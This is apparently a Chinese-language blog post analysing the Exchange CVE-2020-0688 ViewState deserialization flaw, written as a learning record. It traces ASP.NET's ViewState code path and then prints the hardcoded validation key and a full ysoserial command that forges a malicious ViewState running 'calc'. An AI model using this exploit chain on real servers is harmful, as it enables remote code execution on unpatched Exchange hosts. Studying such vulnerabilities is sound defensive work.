Exchange CVE-2020-0688代碼執行漏洞分析
前言
學習exchange漏洞記錄
ViewState 反序列化利用
ViewState概述
ViewState機制是asp.net中對同一個Page的多次請求（PostBack）之間維持Page及控件狀態的一種機制。在WebForm中每次請求完，Page對象都會被釋放，對同一個Page的多次請求之間的狀態信息，如何進行維護呢？WebForm中，每次請求都會存在客戶端和服務器之間的一個交互。如果請求完成之后將一些信息傳回到客戶端，下次請求的時候客戶端再將這些狀態信息提交給服務器，服務器端對這些信息使用和處理，再將這些信息傳回給客戶端。這樣是不是就可以對同一個Page的多次請求（PostBack）之間維持狀態了。對這就是ViewState的基本工作模式。ViewState的設計目的主要就是為了將必要的信息持久化在頁面中。這樣通過ViewState在頁面回傳的過程中保存狀態值，使原本沒有“記憶”的Http協議變得有“記憶”起來。
ViewState 解析流程
ViewState 只是NET中的一個機制，在ASP.NET 在生成和解析ViewState時使用ObjectStateFormatter 進行序列化和反序列化，雖然在序列化后又進行了加密和簽名，但是一旦泄露了加密和簽名所使用的算法和密鑰，我們就可以將ObjectStateFormatter 的反序列化payload 偽裝成正常的ViewState，並觸發ObjectStateFormatter 的反序列化漏洞。
查看客戶端html源代碼
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTIxMDE4NjY2OWRktaI958qvyTatsn1o2A0eJUnsN04=" />
這是ViewState 在客戶端中保存的形式，它保存在一個ID為__VIEWSTATE的Hidden中，它的Value是使用Base64編碼后的字符串。這個字符串實際上是一個對象（Pair類型）序列化之后的結果。這個對象保存了整個頁面的控件樹的ViewState。可以拿解碼工具解密看看這串加密的內容。
解析成了一個Pair對象
也就是這串數據則是base64編碼后的序列化數據。
在服務器端和ViewState機制密切相關的有三個類Page，Control，StateBag。
Page繼承自Control，Control和StateBag是聚合關系，在Control中有一個StateBag的實例ViewState。這三個類互相協作完成ViewState機制的大概過程如下。Page對客戶端請求進行處理，在處理的過程中先是將客戶端提交的_VIEWSTATE反序列化為對象，調用Control的相關方法給所有的控件裝載數據，這些數據是上次請求結束后控件的狀態數據。在之后的一些事件中這些狀態數據可能被修改。在請求結束之前調用Control的相關方法得到所有控件的被修改過的狀態數據，之后Page將其進行序列化，並返回給客戶端。在Control中又具體調用StateBag類的方法完成狀態數據的加載和保存。
Page生命周期,如圖
整一個page會先走到Page.ProcessRequestMain()方法
private void ProcessRequestMain(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint)
{
try
{
HttpContext context = this.Context;
string text = null;
if (includeStagesBeforeAsyncPoint)
{
if (this.IsInAspCompatMode)
{
AspCompatApplicationStep.OnPageStartSessionObjects();
}
if (this.PageAdapter != null)
{
this._requestValueCollection = this.PageAdapter.DeterminePostBackMode();
}
else
{
this._requestValueCollection = this.DeterminePostBackMode();
}
string text2 = string.Empty;
if (this.DetermineIsExportingWebPart())
{
......//省略代碼
this.InitRecursive(null);
if (EtwTrace.IsTraceEnabled(5, 4))
{
EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_INIT_LEAVE, this._context.WorkerRequest);
}
if (context.TraceIsEnabled)
{
this.Trace.Write("aspx.page", "End Init");
}
if (context.TraceIsEnabled)
{
this.Trace.Write("aspx.page", "Begin InitComplete");
}
this.OnInitComplete(EventArgs.Empty);
if (context.TraceIsEnabled)
{
this.Trace.Write("aspx.page", "End InitComplete");
}
if (this.IsPostBack)
{
if (context.TraceIsEnabled)
{
this.Trace.Write("aspx.page", "Begin LoadState");
}
if (EtwTrace.IsTraceEnabled(5, 4))
{
EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_ENTER, this._context.WorkerRequest);
}
this.LoadAllState();
if (EtwTrace.IsTraceEnabled(5, 4))
{
EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_LEAVE, this._context.WorkerRequest);
}
......//省略代碼
this.SaveAllState();
......//省略代碼
InitRecursive
初始化階段調用Control. InitRecursive，它遞歸對所有的控件進行初始化。隨后調用InitRecursive方法
System.Web.UI.Control#InitRecursive ->System.Web.UI.Control#InitRecursive
跟蹤代碼
判斷傳參過來的_viewState是否為空，不為空調用，this._viewState.TrackViewState();
TrackViewState方法代碼
internal void TrackViewState()
{
this.marked = true;
}
設置值為true。
TrackViewState方法的代碼作用就是中打開跟蹤ViewState開關。
LoadAllState
Page中繼續調用LoadAllState，跟蹤查看
LoadAllState只有在PostBack的時候才會執行，即為一個標記，記錄是否為第一次加載。
它的主要功能是將從頁面傳遞來的__VIEWSTATE的值反序列化為Pair類型的對象，然后將這個對象中存儲的ViewState的值加載到Page及所有控件中。實際上LoadAllState加載了ControlState（控件狀態）及ViewState（視圖狀態）。
即該部分實現反序列化操作。
SaveAllState
SaveAllState它的操作和LoadAllState相反。
將Control.SaveViewStateRecursive生成的對象序列化為一個字符串，並賦值給Page.ClientState屬性
最終將ClientState屬性中的值寫入到HTML頁面的_VIEWSTATE中。
該部分實現序列化並且將序列化的內容寫到HTML頁面中。
反序列化流程分析
跟蹤代碼LoadAllState
private void LoadAllState()
{
object obj = this.LoadPageStateFromPersistenceMedium();
IDictionary dictionary = null;
Pair pair = null;
Pair pair2 = obj as Pair;
if (obj != null)
{
dictionary = (pair2.First as IDictionary);
pair = (pair2.Second as Pair);
}
...
protected internal virtual object LoadPageStateFromPersistenceMedium()
{
PageStatePersister pageStatePersister = this.PageStatePersister;
try
{
pageStatePersister.Load();
}
catch (HttpException ex)
{
...
}
HiddenFieldPageStatePersister.Load
public override void Load()
{
if (base.Page.RequestValueCollection == null)
{
return;
}
string text = null;
try
{
text = base.Page.RequestViewStateString;
if (!string.IsNullOrEmpty(text) || !string.IsNullOrEmpty(base.Page.ViewStateUserKey))
{
Pair pair = (Pair)Util.DeserializeWithAssert(base.StateFormatter2, text, Purpose.WebForms_HiddenFieldPageStatePersister_ClientState);
base.ViewState = pair.First;
base.ControlState = pair.Second;
}
}
catch (Exception ex)
{
if (ex.InnerException is ViewStateException)
{
throw;
}
ViewStateException.ThrowViewStateError(ex, text);
}
}
Util.DeserializeWithAssert
至此流程走到ObjectStateFormatter.Deserialize()反序列化方法中。
將字符串進行Base64解碼為字節流，如果需要解密則進行解密處理，否則需要進行需要Mac則進行Mac處理，將字節流轉換為內存流，進行反序列化返回Pair對象
private object Deserialize(string inputString, Purpose purpose)
...
byte[] array = Convert.FromBase64String(inputString);
int num = array.Length;
try
{
if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !this._forceLegacyCryptography)
{
if (this._page != null && (this._page.ContainsEncryptedViewState || this._page.EnableViewStateMac))
{
Purpose purpose2 = purpose.AppendSpecificPurposes(this.GetSpecificPurposes());
ICryptoService cryptoService = AspNetCryptoServiceProvider.Instance.GetCryptoService(purpose2, CryptoServiceOptions.None);
byte[] array2 = cryptoService.Unprotect(array);
array = array2;
num = array2.Length;
}
}
else if (this._page != null && this._page.ContainsEncryptedViewState)
{
array = MachineKeySection.EncryptOrDecryptData(false, array, this.GetMacKeyModifier(), 0, num);
num = array.Length;
}
else if ((this._page != null && this._page.EnableViewStateMac) || this._macKeyBytes != null)
{
array = MachineKeySection.GetDecodedData(array, this.GetMacKeyModifier(), 0, num, ref num);
}
}
在Asp.net2.0中實現PageStatePersister這個抽象類，具體提供持久化機制的類是HiddenFieldPageStatePersister。它實現了Load和Save兩個方法，Load時將__VIEWSTATE反序列化為一個Pair對象，Save時將Pair對象序列化為一個字符串賦值給Page.ClientState。HiddenFieldPageStatePersister中采用的格式器是ObjectStateFormatter，其實string Serialize(object state)，和object Deserialize(string serializedState)這兩個方法，從而實現對Pair對象的序列化和反序列化。
以上整一個流程下來就是ProcessRequestMain 中判斷是否為PostBack 狀態，如果是就獲取__VIEWSTATE ，調用LoadAllState 方法進行反序列化操作。
web.config配置ViewState
ViewState 使用ObjectStateFormatter 進行反序列化操作，ViewState 采取了加密和簽名的安全措施。但是如果加密密鑰泄露，依然可以偽裝加密的數據進行攻擊。
enableViewState： 用於設置是否開啟viewState
enableViewStateMac： 用於設置是否開啟ViewState Mac (校驗)功能。4.5.2之前，該選項為false，可以禁止Mac校驗功能。但是在4.5.2之后，強制開啟ViewState Mac 校驗功能.
viewStateEncryptionMode： 用於設置是否開啟ViewState Encrypt (加密)功能。該選項的值有三種選擇：Always、Auto、Never。
- Always表示ViewState始終加密；
- Auto表示 如果控件通過調用 RegisterRequiresViewStateEncryption() 方法請求加密，則視圖狀態信息將被加密，這是默認值；
- Never表示 即使控件請求了視圖狀態信息，也永遠不會對其進行加密。
<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />
validationKey 和 decryptionKey 分別是校驗和加密所用的密鑰，validation和decryption則是校驗和加密所使用的算法（可以省略，采用默認算法）。校驗算法包括： SHA1、 MD5、 3DES、 AE、 HMACSHA256、 HMACSHA384、 HMACSHA512。加密算法包括：DES、3DES、AES。 由於web.config 保存在服務端上，在不泄露machineKey的情況下，保證了ViewState的安全性。
Exchange 漏洞分析
在exchange ecp路由接口中使用了VIEWSTATE
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTIxMDE4NjY2OWRktaI958qvyTatsn1o2A0eJUnsN04=" />
而web.config 中加密的密鑰為硬編碼
即可使用密鑰偽造加密數據進行攻擊。
使用yso生成數據
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="aa29629a-fdaf-4268-a3c0-3c9f7bc97703" --isdebug –-islegacy
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF（默認，漏洞產生原因）
--validationalg = SHA1（默認，漏洞產生原因）
--generator=B97B4E27（基本默認）
--viewstateuserkey = ASP.NET_SessionId的值
生成數據后需要url編碼
from urllib.parse import quote
input_str ="payload"
quote(input_str,"utf-8")
參考
CVE-2020-0688的武器化與.net反序列化漏洞那些事
cve-2020-0688-Exchange-遠程代碼執行分析及復現
結尾
此篇幅缺少一些細節如處理流程中的加密步驟等，.net代碼能力較差，后面再回來分析細節。